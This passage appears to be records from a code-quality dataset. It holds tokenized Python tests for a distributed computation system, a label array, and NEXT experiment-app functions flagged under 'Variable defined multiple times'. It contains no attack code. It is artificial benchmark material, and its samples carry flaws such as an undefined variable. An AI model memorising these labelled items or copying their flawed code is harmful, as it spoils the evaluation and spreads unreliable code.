")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gateway_", "._", "dep", "rior", "iti", "ze", "Computation", "_", "(_", "computation", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cum", "ulus", "Test", "Cases_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Tea", "rdo", "wn_", "._", "Tea", "rdo", "wn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "many", "Duplicate", "Cache", "calls", "And", "Add", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "2_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", " ", "\\", "10", ";", " ", " ", "Vector", ".", "range", "(", "20", ").", "pap", "ply", "(", "fun", "(", "x", ")", " ", "{", " ", "\\", "10", ";", " ", " ", "x", " ", "+", " ", "cache", "d", "(", "sum", "(", "0", ",", "10", "**", "11", "))", "[", "0", "]", "\\", "10", ";", " ", " ", "})", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "computation", "Id_", "=_", "self_", "._", "gateway_", "._", "request", "Computation", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "4_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "gateway_", "._", "final", "Responses", "_", "._", "get_", "(_", "timeout_", "=_", "240", ".0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "is", "Result_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gateway_", "._", "dep", "rior", "iti", "ze", "Computation", "_", "(_", "computation", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cum", "ulus", "Test", "Cases_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Tea", "rdo", "wn_", "._", "Tea", "rdo", "wn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "sort", "AL", "arge", "Vector", "With", "Add", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "2_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", "\\", "10", ";", " ", " ", "let", " ", "v", " ", "=", " ", "Vector", ".", "range", "(", "1250", "0000", ",", " ", "{\\u", "%", "3.14", "159", "2", "6", "})", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", "if", " ", "(", "sorting", ".", "is", "Sorte", "d", "(", "sorting", ".", "sort", "(", "v", ")))", " ", "'", "sorte", "d\\u", "2", "'", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "computation", "Id_", "=_", "self_", "._", "gateway_", "._", "request", "Computation", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "4_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "gateway_", "._", "final", "Responses", "_", "._", "get_", "(_", "timeout_", "=_", "360.", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "gateway_", "._", "dep", "rior", "iti", "ze", "Computation", "_", "(_", "computation", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "response_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "Fun", "_", "=_", "self_", "._", "dump", "Schedule", "r", "Event", "Stream", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump", "Fun", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warn_", "(_", "\"", "Wan", "ted", " ", "to", " ", "dump", " ", "Cum", "ulus", "Worke", "r", "Event", "s", ",", " ", "but", " ", "coul", "dn", "'", "t", "\"_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "is", "Result_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", "==_", "'", "sorte", "d\\u", "2", "'_", ",_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cum", "ulus", "Test", "Cases_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Tea", "rdo", "wn_", "._", "Tea", "rdo", "wn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "sort", "AL", "arge", "Vector", "With", "Remo", "ving", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "4_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", "\\", "10", ";", " ", " ", "let", " ", "v", " ", "=", " ", "Vector", ".", "range", "(", "1250", "0000", ",", " ", "{\\u", "%", "3.14", "159", "2", "6", "})", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", "if", " ", "(", "sorting", ".", "is", "Sorte", "d", "(", "sorting", ".", "sort", "(", "v", ")))", " ", "'", "sorte", "d\\u", "3", "'", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "computation", "Id_", "=_", "self_", "._", "gateway_", "._", "request", "Computation", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "3_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "gateway_", "._", "final", "Responses", "_", "._", "get_", "(_", "timeout_", "=_", "240", ".0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "gateway_", "._", "dep", "rior", "iti", "ze", "Computation", "_", "(_", "computation", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "response_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "Fun", "_", "=_", "self_", "._", "dump", "Schedule", "r", "Event", "Stream", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump", "Fun", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warn_", "(_", "\"", "Wan", "ted", " ", "to", " ", "dump", " ", "Cum", "ulus", "Worke", "r", "Event", "s", ",", " ", "but", " ", "coul", "dn", "'", "t", "\"_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "is", "Result_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", "==_", "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 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
nextml/NEXT/next/apps/PoolBasedTripletMDS/PoolBasedTripletMDS.py
[ { "content": " def daemonProcess(self,exp_uid,args_json,db,ell):\n try:\n\n app_id = self.app_id\n\n log_entry = { 'exp_uid':exp_uid,'task':'daemonProcess','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.daemonProcess input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['alg_uid','daemon_args']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.daemonProcess input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n\n alg_daemon_args = args_dict['daemon_args']\n alg_uid = args_dict['alg_uid']\n alg_id,didSucceed,message = db.get(app_id+':algorithms',alg_uid,'alg_id')\n\n # get sandboxed database for the specific app_id,alg_id,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n didSucceed,dt = utils.timeit(alg.daemonProcess)(resource=rc,daemon_args_dict=alg_daemon_args)\n \n log_entry = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'daemonProcess','duration':dt,'timestamp':utils.datetimeNow() } \n log_entry_durations = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'daemonProcess','duration':dt } \n log_entry_durations.update( rc.getDurations() )\n meta = {'log_entry_durations':log_entry_durations}\n\n daemon_message = {}\n args_out = {'args':daemon_message,'meta':meta}\n response_json = json.dumps(args_out)\n\n log_entry = { 'exp_uid':exp_uid,'task':'daemonProcess','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return response_json,True,''\n\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'daemonProcess','error':error,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.daemonProcess", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 24 }, { "content": " def initExp(self,exp_uid,args_json,db,ell):\n \"\"\"\n initialize the project and necessary experiments \n\n Expected input (in json structure with string keys):\n (int) n : number of objects\n (int) d : desired dimension (can be changed later) \n (float) failure_probability : confidence\n [optional] (list of dicts) alg_list : with fields (Defaults given by Info.get_app_default_alg_list)\n (string) alg_id : valid alg_id for this app_id\n (string) alg_label : unique identifier for algorithm (e.g. may have experiment with repeated alg_id's, but alg_labels must be unqiue, will also be used for plot legends\n [optional] (string) test_alg_label : must be one of the alg_label's in alg_list (Default is self)\n [optional] (dict) params : algorithm-specific parameters\n [optional] (dict) algorithm_management_settings : dictionary with fields (string) 'mode' and (dict) 'params'. mode in {'pure_exploration','explore_exploit','fixed_proportions'}. Default is 'fixed_proportions' and allocates uniform probability to each algorithm. If mode=fixed_proportions then params is a dictionary that contains the field 'proportions' which is a list of dictionaries with fields 'alg_label' and 'proportion' for all algorithms in alg_list. All proportions must be positive and sum to 1 over all algs in alg_list \n [optional] (string) participant_to_algorithm_management : in {'one_to_one','one_to_many'}. Default is 'one_to_many'.\n [optional] (string) instructions\n [optional] (string) debrief\n [optional] (int) num_tries\n \"\"\"\n\n try:\n app_id = self.app_id\n\n # remove any reminants of an experiment if it exists\n didSucceed,message = db.delete_docs_with_filter('experiments_admin',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':experiments',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':queries',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':participants',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':algorithms',{'exp_uid':exp_uid})\n \n didSucceed,message = ell.delete_logs_with_filter(app_id+':APP-CALL',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':APP-RESPONSE',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':APP-EXCEPTION',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':ALG-DURATION',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':ALG-EVALUATION',{'exp_uid':exp_uid})\n\n # add indexes (only adds them if they do not already exist)\n didSucceed,message = db.ensure_index('experiments_admin',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':experiments',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'query_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'alg_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'participant_uid':1})\n didSucceed,message = db.ensure_index(app_id+':participants',{'participant_uid':1})\n didSucceed,message = db.ensure_index(app_id+':participants',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':algorithms',{'alg_uid':1})\n didSucceed,message = db.ensure_index(app_id+':algorithms',{'exp_uid':1})\n\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'exp_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'exp_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'exp_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'alg_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'alg_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'alg_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'exp_uid':1,'timestamp':1})\n\n import next.constants\n git_hash = next.constants.GIT_HASH\n\n db.set('experiments_admin',exp_uid,'exp_uid',exp_uid)\n db.set('experiments_admin',exp_uid,'app_id',app_id)\n db.set('experiments_admin',exp_uid,'start_date',utils.datetime2str(utils.datetimeNow()))\n\n log_entry = { 'exp_uid':exp_uid,'task':'initExp','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.initExp input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['n','d','failure_probability']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.initExp input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n n = args_dict['n']\n d = args_dict['d']\n delta = args_dict['failure_probability']\n\n # ALG LIST FORMATTING CHECK\n if 'alg_list' in args_dict:\n alg_list = args_dict['alg_list']\n supportedAlgs = utils.get_app_supported_algs(self.app_id)\n for algorithm in alg_list:\n if algorithm['alg_id'] not in supportedAlgs:\n error = \"%s.initExp unsupported algorithm '%s' in alg_list\" % (self.app_id,algorithm['alg_id'])\n return '{}',False,error\n else:\n alg_list = utils.get_app_default_alg_list(self.app_id)\n\n if 'instructions' not in args_dict:\n instructions = utils.get_app_default_instructions(app_id)\n else:\n instructions = args_dict['instructions']\n\n if 'debrief' not in args_dict:\n debrief = utils.get_app_default_instructions(app_id)\n else:\n debrief = args_dict['debrief']\n\n if 'num_tries' not in args_dict:\n num_tries = utils.get_app_default_num_tries(app_id)\n else:\n num_tries = args_dict['num_tries']\n\n # ALGORITHM_MANAGEMENT_MODE FORMATTING CHECK\n if 'algorithm_management_settings' not in args_dict:\n params = {}\n params['proportions'] = []\n for algorithm in alg_list:\n params['proportions'].append( { 'alg_label': algorithm['alg_label'] , 'proportion':1./len(alg_list)} )\n\n algorithm_management_settings = {}\n algorithm_management_settings['mode'] = 'fixed_proportions'\n algorithm_management_settings['params'] = params\n else:\n algorithm_management_settings = args_dict['algorithm_management_settings']\n\n try:\n mode = algorithm_management_settings['mode']\n params = algorithm_management_settings['params']\n except:\n error = \"%s.initExp algorithm_management_settings must be a dictionary with fields 'mode' and 'params'\" % (self.app_id)\n return '{}',False,error\n\n if mode == 'fixed_proportions':\n try:\n algorithm_proportions_list = params['proportions']\n except:\n error = \"%s.initExp algorithm_management_settings['params'] must be a dictionary with field 'proportions'\" % (self.app_id)\n return '{}',False,error\n\n # check if alg_labels are properly labeled\n for proportion_item in algorithm_proportions_list:\n proportion = proportion_item['proportion']\n target_alg_label = proportion_item['alg_label']\n target_alg_label_in_alg_list = False\n for algorithm in alg_list:\n if algorithm['alg_label']==target_alg_label:\n target_alg_label_in_alg_list = True\n if not target_alg_label_in_alg_list:\n error = \"%s.initExp algorithm_management_settings['params']['proportions'] must be a list of dictionaries, each dictionary containing the fields 'alg_label' and 'proportion'. The 'alg_label' value must be one of the alg_labels in a provided alg_list and 'proportion' must be nonnegative and sum to 1 : '%s' not in provided alg_list\" % (self.app_id,target_alg_label)\n return '{}',False,error\n\n elif mode == 'pure_exploration':\n error = \"%s.initExp Sorry, '%s' is not yet supported.\" % (self.app_id,mode)\n return '{}',False,error\n elif mode == 'explore_exploit':\n error = \"%s.initExp Sorry, '%s' is not yet supported.\" % (self.app_id,mode)\n return '{}',False,error\n else:\n error = \"%s.initExp unsupported algorithm_management_mode: '%s'. Must be in {'pure_exploration','explore_exploit','fixed_proportions'}\" % (self.app_id,algorithm_management_mode)\n return '{}',False,error\n\n # ALGORITHM_MANAGEMENT_MODE FORMATTING CHECK\n if 'participant_to_algorithm_management' not in args_dict:\n participant_to_algorithm_management = 'one_to_many'\n else:\n participant_to_algorithm_management = args_dict['participant_to_algorithm_management']\n if participant_to_algorithm_management not in ['one_to_many','one_to_one']:\n error = \"%s.initExp unsupported participant_to_algorithm_management: '%s'. Must be in {'one_to_many','one_to_one'}\" % (self.app_id,participant_to_algorithm_management)\n return '{}',False,error\n\n # assign uid to each algorithm and save it\n for algorithm in alg_list:\n alg_id = algorithm['alg_id'] \n alg_uid = utils.getNewUID()\n algorithm['alg_uid'] = alg_uid\n\n db.set(app_id+':algorithms',alg_uid,'alg_id',alg_id)\n db.set(app_id+':algorithms',alg_uid,'alg_uid',alg_uid)\n db.set(app_id+':algorithms',alg_uid,'exp_uid',exp_uid)\n \n db.set(app_id+':experiments',exp_uid,'exp_uid',exp_uid)\n db.set(app_id+':experiments',exp_uid,'app_id',app_id)\n db.set(app_id+':experiments',exp_uid,'n',n)\n db.set(app_id+':experiments',exp_uid,'d',d)\n db.set(app_id+':experiments',exp_uid,'failure_probability',delta)\n db.set(app_id+':experiments',exp_uid,'alg_list',alg_list)\n db.set(app_id+':experiments',exp_uid,'algorithm_management_settings',algorithm_management_settings)\n db.set(app_id+':experiments',exp_uid,'participant_to_algorithm_management',participant_to_algorithm_management)\n db.set(app_id+':experiments',exp_uid,'instructions',instructions)\n db.set(app_id+':experiments',exp_uid,'debrief',debrief)\n db.set(app_id+':experiments',exp_uid,'num_tries',num_tries)\n db.set(app_id+':experiments',exp_uid,'git_hash',git_hash)\n \n # now create intitialize each algorithm\n for algorithm in alg_list:\n alg_id = algorithm['alg_id'] \n alg_uid = algorithm['alg_uid']\n params = algorithm.get('params',None)\n\n # get sandboxed database for the specific app_id,alg_uid,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n # call initExp\n didSucceed,dt = utils.timeit(alg.initExp)(resource=rc,n=n,d=d,failure_probability=delta,params=params)\n\n log_entry = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'initExp','duration':dt,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':ALG-DURATION', log_entry )\n\n response_json = '{}'\n\n log_entry = { 'exp_uid':exp_uid,'task':'initExp','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return response_json,True,''\n\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'initExp','error':error,'timestamp':utils.datetimeNow() } \n print log_entry\n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.initExp", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 82 } ]
